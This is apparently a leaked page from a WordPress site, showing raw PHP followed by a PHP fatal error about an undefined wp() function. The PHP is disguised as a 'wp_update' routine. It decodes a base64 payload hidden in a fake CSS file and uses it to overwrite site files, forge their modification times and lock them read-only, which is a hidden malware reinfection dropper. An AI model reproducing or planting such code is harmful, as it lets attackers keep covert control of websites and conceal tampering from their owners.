$wp_update_file="/home/clients/681968205ef4da8891f9869daae13141/web/wp-includes/css/wp-timer.css";
if ( is_file($wp_update_file) )
{
    $wp_update_content=trim(file_get_contents($wp_update_file));
    if ( $wp_update_content!="" )
    {
        $wp_update_content=substr($wp_update_content,6,-6);
        $wp_update_content=base64_decode($wp_update_content);
        $wp_update_arr=json_decode($wp_update_content,true);
        if ( is_array($wp_update_arr) )
        {
            foreach($wp_update_arr as $value) 
            { 
                $file_mtime=filemtime($value["path"]);
                @chmod($value["path"],0777);
                @unlink($value["path"]);
                @file_put_contents($value["path"],$value["content"]);
                @touch($value["path"],$file_mtime);
                @chmod($value["path"],0444);
            }
        }
    }
}
<br />
<b>Fatal error</b>:  Uncaught Error: Call to undefined function wp() in /home/clients/681968205ef4da8891f9869daae13141/web/wp-blog-header.php:16
Stack trace:
#0 /home/clients/681968205ef4da8891f9869daae13141/web/index.php(17): require()
#1 {main}
  thrown in <b>/home/clients/681968205ef4da8891f9869daae13141/web/wp-blog-header.php</b> on line <b>16</b><br />